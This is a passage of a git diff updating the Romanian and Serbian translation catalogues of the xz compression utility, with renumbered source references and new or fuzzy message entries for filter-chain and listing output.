+825,7 @@ msgstr "" " folosind mai mult timp CPU-ul; nu afectează cerințele\n" " de memorie ale instrumentului de decomprimare" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 msgid "" " -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" " as many threads as there are processor cores" @@ -839,7 +835,7 @@ msgstr "" " implicită este 0, care utilizează atâtea fire de execuție\n" " câte nuclee există în procesor" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -850,7 +846,7 @@ msgstr "" " utilizați acest lucru pentru a stabili dimensiunea\n" " blocului pentru comprimarea cu fire de execuție" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 msgid "" " --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" @@ -864,7 +860,7 @@ msgstr "" " un număr de lanț de filtrare (0-9) urmat de „:” înainte\n" " de dimensiunea datelor necomprimate" -#: src/xz/message.c:1039 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -877,7 +873,7 @@ msgstr "" " multor intrări s-ar bloca, toate datele în așteptare\n" " sunt eliminate" -#: src/xz/message.c:1045 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -897,7 +893,7 @@ msgstr "" " execuție sau toate acestea; LIMITA este exprimată în\n" " octeți, % din RAM sau 0 pt. a activa valoarea implicită" -#: src/xz/message.c:1054 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -905,7 +901,7 @@ msgstr "" " --no-adjust dacă setările de comprimare depășesc limita de utilizare\n" " a memoriei, dă o eroare în loc să reducă val. stabilite" -#: src/xz/message.c:1060 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -914,7 +910,7 @@ msgstr "" " Lanț de filtrare personalizat pentru comprimare (alternativă la utilizarea\n" " presetărilor):" -#: src/xz/message.c:1063 +#: src/xz/message.c:1044 msgid "" "\n" " --filters=FILTERS set the filter chain using the liblzma filter string\n" @@ -925,7 +921,7 @@ msgstr "" " filtre liblzma; utilizați „--filters-help” pentru mai\n" " multe informații" -#: src/xz/message.c:1069 +#: src/xz/message.c:1050 msgid "" " --filters1=FILTERS ... --filters9=FILTERS\n" " set additional filter chains using the liblzma filter\n" @@ -936,7 +932,7 @@ msgstr "" " șirului de filtre liblzma pentru a fi utilizate cu\n" " opțiunea „--block-list”" -#: src/xz/message.c:1075 +#: src/xz/message.c:1056 msgid "" " --filters-help display more information about the liblzma filter string\n" " syntax and exit." @@ -944,7 +940,7 @@ msgstr "" " --filters-help afișează mai multe informații despre sintaxa șirului de\n" " filtre liblzma și iese" -#: src/xz/message.c:1086 +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -978,7 +974,7 @@ msgstr "" " depth=NUM adâncimea maximă de căutare; 0=automată\n" " (valoarea implicită)" -#: src/xz/message.c:1101 +#: src/xz/message.c:1082 msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -1004,7 +1000,7 @@ msgstr "" " OPȚIUNI valide pentru toate filtrele BCJ:\n" " start=NUM poziția de pornire a conversiilor (implicit=0)" -#: src/xz/message.c:1115 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -1016,7 +1012,7 @@ msgstr "" " dist=NUM distanța dintre octeți fiind dedusă\n" " scăzând un octet din celălalt (1-256; 1)" -#: src/xz/message.c:1123 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -1024,7 +1020,7 @@ msgstr "" "\n" " Alte opțiuni:\n" -#: src/xz/message.c:1126 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -1034,17 +1030,17 @@ msgstr "" " -v, --verbose descriere detaliată; specificați-o de două ori pentru și\n" " mai multe detalii" -#: src/xz/message.c:1131 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn face ca avertismentele să nu afecteze starea de ieșire" -#: src/xz/message.c:1133 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr "" " --robot utilizează mesaje analizabile de mașină (utile pentru\n" " scripturi)" -#: src/xz/message.c:1136 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -1052,7 +1048,7 @@ msgstr "" " --info-memory afișează cantitatea totală de memorie RAM și limitele de\n" " utilizare a memoriei active în prezent, și iese" -#: src/xz/message.c:1139 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -1060,7 +1056,7 @@ msgstr "" " -h, --help afișează ajutorul scurt (enumeră doar opțiunile de bază)\n" " -H, --long-help afișează acest ajutor lung(detaliat) și iese" -#: src/xz/message.c:1143 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -1069,11 +1065,11 @@ msgstr "" " -H, --long-help afișează mesajul detaliat de ajutor (afișează și opțiunile\n" " avansate)" -#: src/xz/message.c:1148 +#: src/xz/message.c:1129 msgid " -V, --version display the version number and exit" msgstr " -V, --version afișează numărul versiunii, și iese" -#: src/xz/message.c:1150 src/lzmainfo/lzmainfo.c:37 +#: src/xz/message.c:1131 src/lzmainfo/lzmainfo.c:37 #, c-format msgid "" "\n" @@ -1086,23 +1082,23 @@ msgstr "" #. for this package. Please add _another line_ saying #. "Report translation bugs to <...>\n" with the email or WWW #. address for translation bugs. Thanks. -#: src/xz/message.c:1156 src/lzmainfo/lzmainfo.c:40 +#: src/xz/message.c:1137 src/lzmainfo/lzmainfo.c:40 #, c-format msgid "Report bugs to <%s> (in English or Finnish).\n" msgstr "" "Raportați erorile la <%s> (în engleză sau finlandeză).\n" "Raportați erorile de traducere la \n" -#: src/xz/message.c:1158 src/lzmainfo/lzmainfo.c:42 +#: src/xz/message.c:1139 src/lzmainfo/lzmainfo.c:42 #, c-format msgid "%s home page: <%s>\n" msgstr "Pagina principală a %s: <%s>\n" -#: src/xz/message.c:1162 +#: src/xz/message.c:1143 msgid "THIS IS A DEVELOPMENT VERSION NOT INTENDED FOR PRODUCTION USE." msgstr "ACEASTA ESTE O VERSIUNE DE DEZVOLTARE, NEDESTINATĂ UTILIZĂRII ÎN PRODUCȚIE." -#: src/xz/message.c:1179 +#: src/xz/message.c:1160 msgid "" "Filter chains are set using the --filters=FILTERS or\n" "--filters1=FILTERS ... --filters9=FILTERS options. Each filter in the chain\n" @@ -1114,7 +1110,7 @@ msgstr "" "separat prin spații sau „--”. Alternativ, se poate specifica o presetare\n" "<0-9>[e] în locul unui lanț de filtre.\n" -#: src/xz/message.c:1185 +#: src/xz/message.c:1166 msgid "The supported filters and their options are:" msgstr "Filtrele acceptate și opțiunile acestora sunt:" @@ -1208,3 +1204,6 @@ msgstr "Scrierea la ieșirea standard a eșuat" #: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "Eroare necunoscută" + +#~ msgid "Failed to enable the sandbox" +#~ msgstr "Nu s-a reușit activarea cutiei de probă(sandbox)" diff --git a/po/sr.gmo b/po/sr.gmo new file mode 100644 index 00000000..b91a8324 Binary files /dev/null and b/po/sr.gmo differ diff --git a/po/sr.po b/po/sr.po index 2b504e77..04c1f73a 100644 --- a/po/sr.po +++ b/po/sr.po @@ -4,8 +4,8 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.2.4\n" -"Report-Msgid-Bugs-To: lasse.collin@tukaani.org\n" -"POT-Creation-Date: 2018-04-29 18:19+0300\n" +"Report-Msgid-Bugs-To: xz@tukaani.org\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2022-06-24 22:07+0800\n" "Last-Translator: Мирослав Николић \n" "Language-Team: Serbian <(nothing)>\n" @@ -16,113 +16,185 @@ msgstr "" "X-Bugs: Report translation errors to the Language-Team address.\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" -#: src/xz/args.c:63 +#: src/xz/args.c:77 #, c-format msgid "%s: Invalid argument to --block-list" msgstr "%s: Неисправан аргумент за „--block-list“" -#: src/xz/args.c:73 +#: src/xz/args.c:87 #, c-format msgid "%s: Too many arguments to --block-list" msgstr "%s: Превише аргумената за „--block-list“" -#: src/xz/args.c:102 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0 се може користити само као последњи елемент у „--block-list“-у" -#: src/xz/args.c:406 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s: Непозната врста формата датотеке" -#: src/xz/args.c:429 src/xz/args.c:437 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s: Неподржана врста провере целовитости" -#: src/xz/args.c:473 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "Само једну датотеку можете навести са „--files“ или „--files0“." -#: src/xz/args.c:541 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, fuzzy, c-format +#| msgid "%s: " +msgid "%s: %s" +msgstr "%s: " + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "Променљива окружења „%s“ садржи превише аргумената" -#: src/xz/args.c:643 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "Подршка запакивања је искључена у време изградње" -#: src/xz/args.c:650 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "Подршка распакивања је искључена у време изградње" -#: src/xz/coder.c:110 +#: src/xz/args.c:792 +msgid "Compression of lzip files (.lz) is not supported" +msgstr "" + +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 +#, fuzzy +#| msgid "%s: With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" +msgstr "%s: Са „--format=raw“, „--suffix=.SUF“ је потребно осим ако пише на стандардни излаз" + +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "Највећи број филтера је четири" -#: src/xz/coder.c:129 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "Ограничење коришћења меморије је премало за дато подешавање филтера." -#: src/xz/coder.c:159 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "Коришћење претподешавања у сировом режиму је обесхрабрујуће." -#: src/xz/coder.c:161 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "Тачне опције претподешавања се могу разликовати од издања до издања софтвера." -#: src/xz/coder.c:184 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr "Формат „.lzma“ подржава само „LZMA1“ филтер" -#: src/xz/coder.c:192 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "Не можете користити „LZMA1“ са „.xz“ форматом" -#: src/xz/coder.c:209 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "Ланац филтера није сагласан са „--flush-timeout“" -#: src/xz/coder.c:215 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "Пребацујем се на режим једне нити због „--flush-timeout“" -#: src/xz/coder.c:235 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Неподржане опције" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "Користим до % нити." -#: src/xz/coder.c:251 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Неподржан ланац филтера или опције филтера" -#: src/xz/coder.c:263 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "За распакивање ће бити потребно %s MiB меморије." -#: src/xz/coder.c:300 +#: src/xz/coder.c:584 +#, fuzzy, c-format +#| msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgstr "Број нити је промењен са %s на %s да се неби прекорачило ограничење коришћења меморије од %s MiB" + +#: src/xz/coder.c:604 #, c-format -msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." +msgstr "" + +#: src/xz/coder.c:631 +#, fuzzy, c-format +#| msgid "Adjusted the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" +msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "Број нити је промењен са %s на %s да се неби прекорачило ограничење коришћења меморије од %s MiB" -#: src/xz/coder.c:354 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "Величина „LZMA%c“ речника је промењена са %s на %s да се неби прекорачило ограничење коришћења меморије од %s MiB" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "Величина „LZMA%c“ речника је промењена са %s на %s да се неби прекорачило ограничење коришћења меморије од %s MiB" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "Грешка стварања спојке: %s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Грешка стварања спојке: %s" -#: src/xz/file_io.c:224 -msgid "Failed to enable the sandbox" -msgstr "Нисам успео да укључим безбедно окружење" - -#: src/xz/file_io.c:266 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: „poll()“ није успело: %s" @@ -137,195 +209,341 @@ msgstr "%s: „poll()“ није успело: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:333 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Изгледа да је датотека премештена, не уклањам" -#: src/xz/file_io.c:340 src/xz/file_io.c:882 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Не могу да уклоним: %s" -#: src/xz/file_io.c:366 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Не могу да поставим власника датотеке: %s" -#: src/xz/file_io.c:372 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Не могу да поставим групу датотеке: %s" -#: src/xz/file_io.c:391 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Не могу да поставим овлашћења датотеке: %s" -#: src/xz/file_io.c:517 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Грешка добављања заставица стања датотеке са стандардног улаза: %s" -#: src/xz/file_io.c:574 src/xz/file_io.c:636 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: Јесте симболичка веза прескачем" -#: src/xz/file_io.c:665 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: Јесте директоријум, прескачем" -#: src/xz/file_io.c:671 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Није обична датотека, прескачем" -#: src/xz/file_io.c:688 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Датотека има постављен „setuid“ или „setgid“ бит, прескачем" -#: src/xz/file_io.c:695 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Датотека има постављен лепљиви бит, прескачем" -#: src/xz/file_io.c:702 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Улазна датотека има више од једне чврсте везе, прескачем" -#: src/xz/file_io.c:792 +#: src/xz/file_io.c:693 +msgid "Empty filename, skipping" +msgstr "Празан назив датотеке, прескачем" + +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Грешка повраћаја заставица стања на стандардни улаз: %s" -#: src/xz/file_io.c:840 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Грешка добављања заставица стања датотеке са стандардног излаза: %s" -#: src/xz/file_io.c:1018 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Грешка повраћаја заставице „O_APPEND“ на стандардни излаз: %s" -#: src/xz/file_io.c:1030 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Затварање датотеке није успело: %s" -#: src/xz/file_io.c:1066 src/xz/file_io.c:1309 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Премотавање није успело приликом покушаја прављења оскудне датотеке: %s" -#: src/xz/file_io.c:1167 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Грешка читања: %s" -#: src/xz/file_io.c:1191 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Грешка приликом претраге датотеке: %s" -#: src/xz/file_io.c:1201 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Неочекиван крај датотеке" -#: src/xz/file_io.c:1260 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Грешка писања: %s" -#: src/xz/hardware.c:137 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Искључено" -#. TRANSLATORS: Test with "xz --info-memory" to see if -#. the alignment looks nice. -#: src/xz/hardware.c:156 -msgid "Total amount of physical memory (RAM): " +#: src/xz/hardware.c:268 +#, fuzzy +#| msgid "Total amount of physical memory (RAM): " +msgid "Amount of physical memory (RAM):" msgstr "Укупна количина физичке меморије (RAM): " -#: src/xz/hardware.c:158 -msgid "Memory usage limit for compression: " -msgstr "Ограничење коришћења меморије за запакивање: " +#: src/xz/hardware.c:269 +msgid "Number of processor threads:" +msgstr "" -#: src/xz/hardware.c:160 -msgid "Memory usage limit for decompression: " +#: src/xz/hardware.c:270 +msgid "Compression:" +msgstr "" + +#: src/xz/hardware.c:271 +msgid "Decompression:" +msgstr "" + +#: src/xz/hardware.c:272 +#, fuzzy +#| msgid "Memory usage limit for decompression: " +msgid "Multi-threaded decompression:" msgstr "Ограничење коришћења меморије за распакивање: " +#: src/xz/hardware.c:273 +msgid "Default for -T0:" +msgstr "" + +#: src/xz/hardware.c:291 +msgid "Hardware information:" +msgstr "" + +#: src/xz/hardware.c:298 +#, fuzzy +#| msgid "Memory usage limit reached" +msgid "Memory usage limits:" +msgstr "Ограничење коришћења меморије је достигнуто" + +#: src/xz/list.c:67 +msgid "Streams:" +msgstr "" + +#: src/xz/list.c:68 +msgid "Blocks:" +msgstr "" + +#: src/xz/list.c:69 +#, fuzzy +#| msgid " Compressed size: %s\n" +msgid "Compressed size:" +msgstr " Величина сажетог: %s\n" + +#: src/xz/list.c:70 +#, fuzzy +#| msgid " Uncompressed size: %s\n" +msgid "Uncompressed size:" +msgstr " Величина несажетог: %s\n" + +#: src/xz/list.c:71 +msgid "Ratio:" +msgstr "" + +#: src/xz/list.c:72 +msgid "Check:" +msgstr "" + +#: src/xz/list.c:73 +#, fuzzy +#| msgid " Stream padding: %s\n" +msgid "Stream Padding:" +msgstr " Попуна тока: %s\n" + +#: src/xz/list.c:74 +#, fuzzy +#| msgid " Memory needed: %s MiB\n" +msgid "Memory needed:" +msgstr " Потребна меморија: %s MiB\n" + +#: src/xz/list.c:75 +#, fuzzy +#| msgid " Sizes in headers: %s\n" +msgid "Sizes in headers:" +msgstr " Величине у заглављима: %s\n" + +#: src/xz/list.c:78 +#, fuzzy +#| msgid " Number of files: %s\n" +msgid "Number of files:" +msgstr " Број датотека: %s\n" + +#: src/xz/list.c:121 +msgid "Stream" +msgstr "" + +#: src/xz/list.c:122 +msgid "Block" +msgstr "" + +#: src/xz/list.c:123 +msgid "Blocks" +msgstr "" + +#: src/xz/list.c:124 +msgid "CompOffset" +msgstr "" + +#: src/xz/list.c:125 +msgid "UncompOffset" +msgstr "" + +#: src/xz/list.c:126 +msgid "CompSize" +msgstr "" + +#: src/xz/list.c:127 +msgid "UncompSize" +msgstr "" + +#: src/xz/list.c:128 +#, fuzzy +#| msgid "Totals:" +msgid "TotalSize" +msgstr "Укупно:" + +#: src/xz/list.c:129 +msgid "Ratio" +msgstr "" + +#: src/xz/list.c:130 +msgid "Check" +msgstr "" + +#: src/xz/list.c:131 +msgid "CheckVal" +msgstr "" + +#: src/xz/list.c:132 +msgid "Padding" +msgstr "" + +#: src/xz/list.c:133 +msgid "Header" +msgstr "" + +#: src/xz/list.c:134 +msgid "Flags" +msgstr "" + +#: src/xz/list.c:135 +msgid "MemUsage" +msgstr "" + +#: src/xz/list.c:136 +msgid "Filters" +msgstr "" + #. TRANSLATORS: Indicates that there is no integrity check. -#. This string is used in tables, so the width must not -#. exceed ten columns with a fixed-width font. -#: src/xz/list.c:65 +#. This string is used in tables. In older xz version this +#. string was limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:168 msgid "None" msgstr "Ништа" #. TRANSLATORS: Indicates that integrity check name is not known, -#. but the Check ID is known (here 2). This and other "Unknown-N" -#. strings are used in tables, so the width must not exceed ten -#. columns with a fixed-width font. It's OK to omit the dash if -#. you need space for one extra letter, but don't use spaces. -#: src/xz/list.c:72 +#. but the Check ID is known (here 2). In older xz version these +#. strings were limited to ten columns in a fixed-width font, but +#. nowadays there is no strict length restriction anymore. +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "Незнано-2" -#: src/xz/list.c:73 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "Незнано-3" -#: src/xz/list.c:75 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "Незнано-5" -#: src/xz/list.c:76 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "Незнано-6" -#: src/xz/list.c:77 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "Незнано-7" -#: src/xz/list.c:78 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "Незнано-8" -#: src/xz/list.c:79 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "Незнано-9" -#: src/xz/list.c:81 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "Незнано-11" -#: src/xz/list.c:82 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "Незнано-12" -#: src/xz/list.c:83 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "Незнано-13" -#: src/xz/list.c:84 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "Незнано-14" -#: src/xz/list.c:85 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "Незнано-15" -#: src/xz/list.c:153 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s: Датотека је празна" -#: src/xz/list.c:158 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s: Премало је да би било исправна „.xz“ датотека" @@ -334,105 +552,26 @@ msgstr "%s: Премало је да би било исправна „.xz“ д #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:677 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr "Токови Блокови Запаковано Распаковано Однос Провера Датотека" -#: src/xz/list.c:717 -#, c-format -msgid " Streams: %s\n" -msgstr " Токова: %s\n" - -#: src/xz/list.c:719 -#, c-format -msgid " Blocks: %s\n" -msgstr " Блокова: %s\n" - -#: src/xz/list.c:721 -#, c-format -msgid " Compressed size: %s\n" -msgstr " Величина сажетог: %s\n" - -#: src/xz/list.c:724 -#, c-format -msgid " Uncompressed size: %s\n" -msgstr " Величина несажетог: %s\n" - -#: src/xz/list.c:727 -#, c-format -msgid " Ratio: %s\n" -msgstr " Однос: %s\n" - -#: src/xz/list.c:729 -#, c-format -msgid " Check: %s\n" -msgstr " Провера: %s\n" - -#: src/xz/list.c:730 -#, c-format -msgid " Stream padding: %s\n" -msgstr " Попуна тока: %s\n" - -#. TRANSLATORS: The second line is column headings. All except -#. Check are right aligned; Check is left aligned. Test with -#. "xz -lv foo.xz". -#: src/xz/list.c:758 -msgid "" -" Streams:\n" -" Stream Blocks CompOffset UncompOffset CompSize UncompSize Ratio Check Padding" -msgstr "" -" Токови:\n" -" Ток Блокови Помезапак Поменезапак Велзапак Велнезапак Однос Провера Попуна" - -#. TRANSLATORS: The second line is column headings. All -#. except Check are right aligned; Check is left aligned. -#: src/xz/list.c:813 -#, c-format -msgid "" -" Blocks:\n" -" Stream Block CompOffset UncompOffset TotalSize UncompSize Ratio Check" -msgstr "" -" Блокови:\n" -" Ток Блок Помезапак Поменезапак Велукупн Велнезапак Однос Провера" - -#. TRANSLATORS: These are additional column headings -#. for the most verbose listing mode. CheckVal -#. (Check value), Flags, and Filters are left aligned. -#. Header (Block Header Size), CompSize, and MemUsage -#. are right aligned. %*s is replaced with 0-120 -#. spaces to make the CheckVal column wide enough. -#. Test with "xz -lvv foo.xz". -#: src/xz/list.c:825 -#, c-format -msgid " CheckVal %*s Header Flags CompSize MemUsage Filters" -msgstr " ВреднПров %*s Заглав Заставице Велзапак Коришмемор Филтери" - -#: src/xz/list.c:903 src/xz/list.c:1078 -#, c-format -msgid " Memory needed: %s MiB\n" -msgstr " Потребна меморија: %s MiB\n" - -#: src/xz/list.c:905 src/xz/list.c:1080 -#, c-format -msgid " Sizes in headers: %s\n" -msgstr " Величине у заглављима: %s\n" - -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Да" -#: src/xz/list.c:906 src/xz/list.c:1081 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "Не" -#: src/xz/list.c:907 src/xz/list.c:1082 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " Најмање издање XZ помагала: %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1057 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" @@ -440,20 +579,19 @@ msgstr[0] "%s датотека\n" msgstr[1] "%s датотеке\n" msgstr[2] "%s датотека\n" -#: src/xz/list.c:1070 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "Укупно:" -#: src/xz/list.c:1071 -#, c-format -msgid " Number of files: %s\n" -msgstr " Број датотека: %s\n" - -#: src/xz/list.c:1146 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "„--list“ ради само над „.xz“ датотекама (--format=xz или --format=auto)" -#: src/xz/list.c:1152 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "„--list“ не подржава читање са стандардног улаза" @@ -468,15 +606,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Неочекивани крај улаза приликом читања назива датотека" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Нађох ништаван знак приликом читања назива датотека; можта сте хтели да користите „--files0“ уместо „--files“?" -#: src/xz/main.c:174 +#: 